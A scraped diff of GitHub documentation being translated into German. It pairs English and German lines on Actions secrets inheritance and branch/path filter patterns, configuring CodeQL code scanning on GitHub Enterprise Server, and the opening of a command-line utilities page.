Use the `inherit` keyword to pass all the calling workflow's secrets to the called workflow. This includes all secrets the calling workflow has access to, namely organization, repository, and environment secrets. The `inherit` keyword can be used to pass secrets across repositories within the same organization, or across organizations within the same enterprise.
Verwende das Schlüsselwort `inherit`, um alle Geheimnisse des aufrufenden Workflows an den aufgerufenen Workflow zu übergeben. Dazu gehören alle Geheimnisse, auf die der aufrufende Workflow Zugriff hat, nämlich die Geheimnisse von Organisation, Repository und Umgebung. Das Schlüsselwort `inherit` kann verwendet werden, um Geheimnisse zwischen Repositorys innerhalb derselben Organisation oder zwischen Organisationen innerhalb desselben Unternehmens zu übergeben.
#### Example
#### Beispiel
{% raw %}
@ -1037,23 +1037,23 @@ jobs:
### `jobs.<job_id>.secrets.<secret_id>`
A pair consisting of a string identifier for the secret and the value of the secret. The identifier must match the name of a secret defined by [`on.workflow_call.secrets.<secret_id>`](#onworkflow_callsecretssecret_id) in the called workflow.
Dies ist ein aus einem Zeichenfolgenbezeichner für das Geheimnis und dem Wert für das Geheimnis bestehendes Paar. Der Bezeichner muss mit dem Namen eines Geheimnisses übereinstimmen, das von [`on.workflow_call.secrets.<secret_id>`](#onworkflow_callsecretssecret_id) im aufgerufenen Workflow definiert wird.
Allowed expression contexts: `github`, `needs`, and `secrets`.
Zulässiger Ausdruckskontext: `github`, `needs` und `secrets`.
{% endif %}
## Filter pattern cheat sheet
## Spickzettel für Filtermuster
You can use special characters in path, branch, and tag filters.
In Pfad-, Branch- und Tagfiltern kannst du Sonderzeichen benutzen.
- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`.
- `**`: Matches zero or more of any character.
- `?`: Matches zero or one of the preceding character.
- `+`: Matches one or more of the preceding character.
- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`.
- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character.
- `*`: Gleicht null oder mehr Zeichen ab, nicht jedoch das `/`-Zeichen. Beispielsweise entspricht `Octo*``Octocat`.
- `**`: Gleicht null oder mehr beliebige Zeichen ab.
- `?`: Gleicht null oder eines der vorherigen Zeichen ab.
- `+`: Gleicht eines oder mehrere der vorherigen Zeichen ab.
- `[]`: Gleicht ein Zeichen ab, das in Klammern aufgelistet oder in Bereichen enthalten ist. Bereiche können nur `a-z`, `A-Z` und `0-9` enthalten. Beispielsweise stimmt der Bereich `[0-9a-z]` mit einer beliebigen Zahl oder einem Kleinbuchstaben überein. `[CB]at` stimmt beispielsweise mit `Cat` oder `Bat` überein, und `[1-2]00` stimmt mit `100` und `200` überein.
- `!`: Wenn dies am Anfang eines Musters steht, negiert es vorherige positive Muster ins Gegenteil. Es hat keine besondere Bedeutung, wenn es nicht das erste Zeichen ist.
The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes. Also, if you use a [flow sequence](https://yaml.org/spec/1.2.2/#flow-sequences) with a pattern containing `[` and/or `]`, the pattern must be enclosed in quotes.
Die Zeichen `*`, `[` und `!` sind Sonderzeichen in YAML. Wenn du ein Muster mit `*`, `[` oder `!` beginnst, musst du das Muster in Anführungszeichen einschließen. Wenn du eine [Ablaufsequenz](https://yaml.org/spec/1.2.2/#flow-sequences) mit einem Muster verwendest, das `[` und/oder `]` enthält, muss das Muster zudem in Anführungszeichen gesetzt werden.
```yaml
# Valid
@ -1072,39 +1072,39 @@ branches: [ main, 'release/v[0-9].[0-9]' ]
branches: [ main, release/v[0-9].[0-9] ]
```
For more information about branch, tag, and path filter syntax, see "[`on.<push>.<branches|tags>`](#onpushbranchestagsbranches-ignoretags-ignore)", "[`on.<pull_request>.<branches|tags>`](#onpull_requestpull_request_targetbranchesbranches-ignore)", and "[`on.<push|pull_request>.paths`](#onpushpull_requestpull_request_targetpathspaths-ignore)."
Weitere Informationen zur Syntax der Branch-, Tag- und Pfadfilter findest du unter [`on.<push>.<branches|tags>`](#onpushbranchestagsbranches-ignoretags-ignore), [`on.<pull_request>.<branches|tags>`](#onpull_requestpull_request_targetbranchesbranches-ignore) und [`on.<push|pull_request>.paths`](#onpushpull_requestpull_request_targetpathspaths-ignore).
### Patterns to match branches and tags
### Muster für den Abgleich von Branches und Tags
| Pattern | Description | Example matches |
| Muster | BESCHREIBUNG | Beispiele für Übereinstimmungen |
|---------|------------------------|---------|
| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). | `feature/my-branch`<br/><br/>`feature/your-branch` |
| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
| `main`<br/><br/>`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`<br/><br/>`releases/mona-the-octocat` |
| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`<br/><br/>`releases` |
| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`<br/><br/>`every/tag` |
| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` |
| `v2*` | Matches branch and tag names that start with `v2`. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` |
| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2. | `v1.10.1`<br/><br/>`v2.0.0` |
| `feature/*` | Das Platzhalterzeichen `*` gleicht ein beliebiges Zeichen ab, nicht jedoch den Schrägstrich (`/`). | `feature/my-branch`<br/><br/>`feature/your-branch` |
| `feature/**` | Das Platzhalterzeichen `**` gleicht ein beliebiges Zeichen ab, einschließlich des Schrägstrichs (`/`) in Branch- und Tagnamen. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
| `main`<br/><br/>`releases/mona-the-octocat` | Abgleich mit dem exakten Branch- oder Tag-Namen. | `main`<br/><br/>`releases/mona-the-octocat` |
| `'*'` | Dies gleicht alle Branch- und Tagnamen ab, die keinen Schrägstrich (`/`) enthalten. Das `*`-Zeichen ist ein Sonderzeichen in YAML. Wenn du ein Muster mit `*` beginnst, musst du Anführungszeichen verwenden. | `main`<br/><br/>`releases` |
| `'**'` | Abgleich mit allen Branch- und Tag-Namen. Dies ist das Standardverhalten, wenn du keinen `branches`- oder `tags`-Filter verwendest. | `all/the/branches`<br/><br/>`every/tag` |
| `'*feature'` | Das `*`-Zeichen ist ein Sonderzeichen in YAML. Wenn du ein Muster mit `*` beginnst, musst du Anführungszeichen verwenden. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` |
| `v2*` | Dies gleicht Branch- und Tagnamen ab, die mit `v2` beginnen. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` |
| `v[12].[0-9]+.[0-9]+` | Dies gleicht alle Branches und Tags für die semantische Versionierung mit den Hauptversionen 1 oder 2 ab. | `v1.10.1`<br/><br/>`v2.0.0` |
### Patterns to match file paths
### Muster für den Abgleich von Dateinamen
Path patterns must match the whole path, and start from the repository's root.
Pfadmuster müssen mit dem gesamten Pfad übereinstimmen und mit dem Root des Repositorys beginnen.
| Pattern | Description of matches | Example matches |
| Muster | Beschreibung der Übereinstimmungen | Beispiele für Übereinstimmungen |
|---------|------------------------|-----------------|
| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`<br/><br/>`server.rb` |
| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`<br/><br/>`page.jsx` |
| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` |
| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`<br/><br/>`index.js`
| `'**.js'` | Matches all `.js` files in the repository. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` |
| `docs/*` | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`<br/><br/>`docs/file.txt` |
| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` |
| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`
| `'**/docs/**'` | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`
| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`<br/><br/>`js/README.md`
| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`
| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`<br/><br/>`path/their-post.md` |
| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` |
| `*.md`<br/><br/>`!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`|
| `'*'` | Das Platzhalterzeichen `*` gleicht ein beliebiges Zeichen ab, nicht jedoch den Schrägstrich (`/`). Das `*`-Zeichen ist ein Sonderzeichen in YAML. Wenn du ein Muster mit `*` beginnst, musst du Anführungszeichen verwenden. | `README.md`<br/><br/>`server.rb` |
| `'*.jsx?'` | Das `?`-Zeichen gleicht null oder mehrere der vorherigen Zeichen ab. | `page.js`<br/><br/>`page.jsx` |
| `'**'` | Das Platzhalterzeichen `**` gleicht ein beliebiges Zeichen einschließlich Schrägstrich (`/`) ab. Dies ist das Standardverhalten, wenn du keinen `path`-Filter verwendest. | `all/the/files.md` |
| `'*.js'` | Das Platzhalterzeichen `*` gleicht ein beliebiges Zeichen ab, nicht jedoch den Schrägstrich (`/`). Dies gleicht alle `.js`-Dateien im Stamm des Repositorys ab. | `app.js`<br/><br/>`index.js`
| `'**.js'` | Dies gleicht alle `.js`-Dateien im Repository ab. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` |
| `docs/*` | Dies gleicht alle Dateien im Stamm des `docs`-Verzeichnisses im Stamm des Repositorys ab. | `docs/README.md`<br/><br/>`docs/file.txt` |
| `docs/**` | Dies gleicht beliebige Dateien im `/docs`-Verzeichnis im Stamm des Repositorys ab. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` |
| `docs/**/*.md` | Dies gleicht eine Datei mit einem `.md`-Suffix an einer beliebigen Stelle im `docs`-Verzeichnis ab. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`
| `'**/docs/**'` | Dies gleicht alle Dateien in einem `docs`-Verzeichnis an einer beliebigen Stelle im Repository ab. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`
| `'**/README.md'` | Eine Datei mit dem Namen „README.md“ an beliebiger Stelle im Repository. | `README.md`<br/><br/>`js/README.md`
| `'**/*src/**'` | Dies gleicht eine beliebige Datei in einem Ordner mit einem `src`-Suffix an einer beliebigen Stelle im Repository ab. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`
| `'**/*-post.md'` | Dies gleicht eine Datei mit dem Suffix `-post.md` an einer beliebigen Stelle im Repository ab. | `my-post.md`<br/><br/>`path/their-post.md` |
| `'**/migrate-*.sql'` | Dies gleicht eine Datei mit dem Präfix `migrate-` und dem Suffix `.sql` an einer beliebigen Stelle im Repository ab. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` |
| `*.md`<br/><br/>`!README.md` | Durch die Verwendung eines Ausrufezeichens (`!`) vor einem Muster wird dieses negiert. Wenn eine Datei sowohl mit einem Muster übereinstimmt als auch mit einem negativen Muster, das später in der Datei definiert ist, wird die Datei nicht berücksichtigt. | `hello.md`<br/><br/>_Stimmt nicht überein mit_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Die Muster werden sequenziell geprüft. Wenn ein Muster ein vorangegangenes Muster negiert, werden die Dateipfade wieder berücksichtigt. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`|

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring code scanning for your appliance
title: Konfigurieren des Codescannings für deine Appliance
shortTitle: Configuring code scanning
intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.'
intro: 'Du kannst {% data variables.product.prodname_code_scanning %} für {% data variables.location.product_location %} aktivieren, konfigurieren und deaktivieren. {% data variables.product.prodname_code_scanning_capc %} ermöglicht Benutzer*innen das Überprüfen von Code auf Sicherheitsrisiken und Fehler.'
product: '{% data reusables.gated-features.code-scanning %}'
miniTocMaxHeadingLevel: 3
redirect_from:
@ -16,82 +16,84 @@ topics:
- Code scanning
- Enterprise
- Security
ms.openlocfilehash: 11ad9bfe108d339af3992277cab0918998eb54fb
ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148161086'
---
{% data reusables.code-scanning.beta %}
## About {% data variables.product.prodname_code_scanning %}
## Informationen zum {% data variables.product.prodname_code_scanning %}
{% data reusables.code-scanning.about-code-scanning %}
You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.location.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions.
Du kannst das {% data variables.product.prodname_code_scanning %} so konfigurieren, dass die {% data variables.product.prodname_codeql %}-Analyse und Drittanbieteranalysen ausgeführt werden. Das {% data variables.product.prodname_code_scanning_capc %} unterstützt auch das native Ausführen von Analysen mithilfe von {% data variables.product.prodname_actions %} oder das externe Ausführen von Analysen mithilfe vorhandener CI/CD-Infrastrukturen. In der folgenden Tabelle werden alle Optionen zusammengefasst, die Benutzer*innen zur Verfügung stehen, wenn du deine {% data variables.location.product_location %} so konfigurierst, dass das {% data variables.product.prodname_code_scanning %} mithilfe von Aktionen zulässig ist.
{% data reusables.code-scanning.enabling-options %}
## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
## Überprüfen, ob deine Lizenz {% data variables.product.prodname_GH_advanced_security %} umfasst
{% data reusables.advanced-security.check-for-ghas-license %}
## Prerequisites for {% data variables.product.prodname_code_scanning %}
## Voraussetzungen für das {% data variables.product.prodname_code_scanning %}
- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
- Eine Lizenz für {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (weitere Informationen findest du unter [Informationen zur Abrechnung von {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)){% endif %}
- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
- Aktivierung des {% data variables.product.prodname_code_scanning_capc %} in der Verwaltungskonsole (siehe [Aktivieren von {% data variables.product.prodname_GH_advanced_security %} für dein Unternehmen](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise))
- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in.
- Eine VM oder ein Container für die Ausführung der {% data variables.product.prodname_code_scanning %}-Analyse
## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %}
## Ausführen des {% data variables.product.prodname_code_scanning %} mithilfe von {% data variables.product.prodname_actions %}
### Setting up a self-hosted runner
### Einrichten eines selbstgehosteten Runners
{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
{% data variables.product.prodname_ghe_server %} kann das {% data variables.product.prodname_code_scanning %} mithilfe eines {% data variables.product.prodname_actions %}-Workflows ausführen. Zunächst musst du einen oder mehrere selbstgehostete {% data variables.product.prodname_actions %}-Runner in deiner Umgebung bereitstellen. Du kannst selbstgehostete Runner auf Repository-, Organisations- oder Unternehmenskontoebene bereitstellen. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/hosting-your-own-runners/about-self-hosted-runners).
You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions.
Du musst sicherstellen, dass sich Git in der PATH-Variablen für alle selbstgehosteten Runner befindet, die du für die Ausführung von {% data variables.product.prodname_codeql %}-Aktionen verwendest.
{% ifversion ghes > 3.7 or ghae > 3.7 %}
{% note %}
{% ifversion ghes > 3.7 or ghae > 3.7 %} {% note %}
If you use {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} to analyze code written in Python in your enterprise, you must make sure that your self-hosted runner has Python 3 installed.
Wenn du {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} verwendest, um in Python geschriebenen Code in deinem Unternehmen zu analysieren, musst du sicherstellen, dass für deinen selbstgehosteten Runner Python 3 installiert ist.
{% endnote %}
{% endif %}
{% endnote %} {% endif %}
### Provisioning the actions for {% data variables.product.prodname_code_scanning %}
### Bereitstellen der Aktionen für das {% data variables.product.prodname_code_scanning %}
{% ifversion ghes %}
If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance.
{% ifversion ghes %} Wenn du Aktionen für die Ausführung des {% data variables.product.prodname_code_scanning %} in {% data variables.product.prodname_ghe_server %} verwenden möchtest, müssen die Aktionen auf deiner Appliance verfügbar sein.
The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If both {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }} and your {% data variables.product.prodname_actions %} runner have access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} {% data variables.product.codeql_cli_ghes_recommended_version %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the latest released version of the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below.
Die {% data variables.product.prodname_codeql %}-Aktion ist in deiner {% data variables.product.prodname_ghe_server %}-Installation enthalten. Wenn {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }} und dein Runner {% data variables.product.prodname_actions %} Zugriff auf das Internet besitzen, lädt die Aktion automatisch das {% data variables.product.prodname_codeql %} {% data variables.product.codeql_cli_ghes_recommended_version %}-Bundle herunter, das zum Durchführen der Analyse erforderlich ist. Alternativ kannst du ein Synchronisierungstool verwenden, um die neueste veröffentlichte Version des {% data variables.product.prodname_codeql %}-Analysebundles lokal verfügbar zu machen. Weitere Informationen findest du weiter unten im Abschnitt [Konfigurieren der {% data variables.product.prodname_codeql %}-Analyse auf einem Server ohne Internetzugriff](#configuring-codeql-analysis-on-a-server-without-internet-access).
You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below.
Du kannst für das {% data variables.product.prodname_code_scanning %} auch Aktionen von Drittanbietern für Benutzer*innen zur Verfügung stellen, indem du {% data variables.product.prodname_github_connect %} einrichtest. Weitere Informationen findest du im Folgenden unter [Konfigurieren von {% data variables.product.prodname_github_connect %} zum Synchronisieren von {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions).
### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access
If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/).
### Konfigurieren der {% data variables.product.prodname_codeql %}-Analyse auf einem Server ohne Internetzugriff
Wenn der Server, auf dem du {% data variables.product.prodname_ghe_server %} ausführst, nicht mit dem Internet verbunden ist und du Benutzer*innen das Aktivieren des {% data variables.product.prodname_codeql %}-{% data variables.product.prodname_code_scanning %} für ihre Repositorys ermöglichen möchtest, musst du mit dem {% data variables.product.prodname_codeql %}-Aktionssynchronisierungstool das {% data variables.product.prodname_codeql %}-Analysebundle von {% data variables.product.prodname_dotcom_the_website %} auf deinen Server kopieren. Das Tool und Informationen zur Verwendung findest du unter [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/).
If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}.
Wenn du das {% data variables.product.prodname_codeql %}-Aktionssynchronisierungstool eingerichtet hast, kannst du damit die neuesten Releases der {% data variables.product.prodname_codeql %}-Aktion und das zugehörige {% data variables.product.prodname_codeql %}-Analysebundle synchronisieren. Diese sind mit {% data variables.product.prodname_ghe_server %} kompatibel.
{% endif %}
### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}
1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)."
2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.location.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)."
3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
### Konfigurieren von {% data variables.product.prodname_github_connect %} zum Synchronisieren von {% data variables.product.prodname_actions %}
1. Wenn du bei Bedarf Aktionsworkflows von {% data variables.product.prodname_dotcom_the_website %} herunterladen möchtest, musst du {% data variables.product.prodname_github_connect %} aktivieren. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect).
2. Du musst auch {% data variables.product.prodname_actions %} für {% data variables.location.product_location %} aktivieren. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server).
3. Der nächste Schritt besteht darin, den Zugriff auf Aktionen auf {% data variables.product.prodname_dotcom_the_website %} mithilfe von {% data variables.product.prodname_github_connect %} zu konfigurieren. Weitere Informationen findest du unter [Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen mithilfe von {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect).
4. Füge deinem Repository-, Organisations- oder Unternehmenskonto einen selbstgehosteten Runner hinzu. Weitere Informationen findest du unter [Hinzufügen von selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners).
## Running code scanning using the {% data variables.product.prodname_codeql_cli %}
## Ausführen des Codescannings mithilfe der {% data variables.product.prodname_codeql_cli %}
If you don't want to use {% data variables.product.prodname_actions %}, you should run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %}.
Wenn du {% data variables.product.prodname_actions %} nicht verwenden möchtest, solltest du das {% data variables.product.prodname_code_scanning %} mithilfe der {% data variables.product.prodname_codeql_cli %} ausführen.
The {% data variables.product.prodname_codeql_cli %} is a command-line tool that you use to analyze codebases on any machine, including a third-party CI/CD system. For more information, see "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
Die {% data variables.product.prodname_codeql_cli %} ist ein Befehlszeilentool, das du zum Analysieren von Codebasen auf jedem beliebigen Computer (einschließlich eines CI/CD-Drittanbietersystems) verwenden kannst. Weitere Informationen findest du unter [Installieren der CodeQL-CLI in deinem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system).
{% ifversion codeql-runner-supported %}
## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}
## Ausführen des {% data variables.product.prodname_code_scanning %} mithilfe des {% data variables.code-scanning.codeql_runner %}
{% data reusables.code-scanning.deprecation-codeql-runner %}
If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}.
Wenn du {% data variables.product.prodname_actions %} nicht verwenden möchtest, kannst du das {% data variables.product.prodname_code_scanning %} mithilfe des {% data variables.code-scanning.codeql_runner %} ausführen.
The {% data variables.code-scanning.codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
Der {% data variables.code-scanning.codeql_runner %} ist ein Befehlszeilentool, das du deinem CI/CD-Drittanbietersystem hinzufügen kannst. Das Tool führt die {% data variables.product.prodname_codeql %}-Analyse beim Auschecken eines {% data variables.product.prodname_dotcom %}-Repositorys aus. Weitere Informationen findest du unter [Ausführen des {% data variables.product.prodname_code_scanning %} in deinem CI-System](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system).
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Command-line utilities
intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.'
title: Befehlszeilenprogramme
intro: '{% data variables.product.prodname_ghe_server %} enthält eine Vielzahl von Dienstprogrammen, mit denen bestimmte Probleme behoben oder bestimmte Aufgaben ausgeführt werden können.'
redirect_from:
- /enterprise/admin/articles/viewing-all-services
- /enterprise/admin/articles/command-line-utilities
@ -14,14 +14,20 @@ type: reference
topics:
- Enterprise
- SSH
ms.openlocfilehash: 290a7eab73e10a88bae1e056e3f5b43d92274f8f
ms.sourcegitcommit: 5b16250eaa0806bf9497756cb27c54a80f688eec
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/18/2022
ms.locfileid: '148172805'
---
You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)."
Du kannst diese Befehle überall in der VM ausführen, nachdem du dich als ein SSH-Administratorbenutzer angemeldet hast. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/).
## General
## Allgemein
### ghe-announce
This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users.
Dieses Dienstprogramm liegt im oberen Bereich jeder {% data variables.product.prodname_enterprise %}-Seite einen Banner fest. Diesen kannst du verwenden, um deinen Benutzer eine Mitteilung zu übermitteln.
```shell
# Sets a message that's visible to everyone
@ -32,8 +38,7 @@ $ ghe-announce -u
> Removed the announcement message
```
{% ifversion ghe-announce-dismiss %}
To allow each user to dismiss the announcement for themselves, use the `-d` flag.
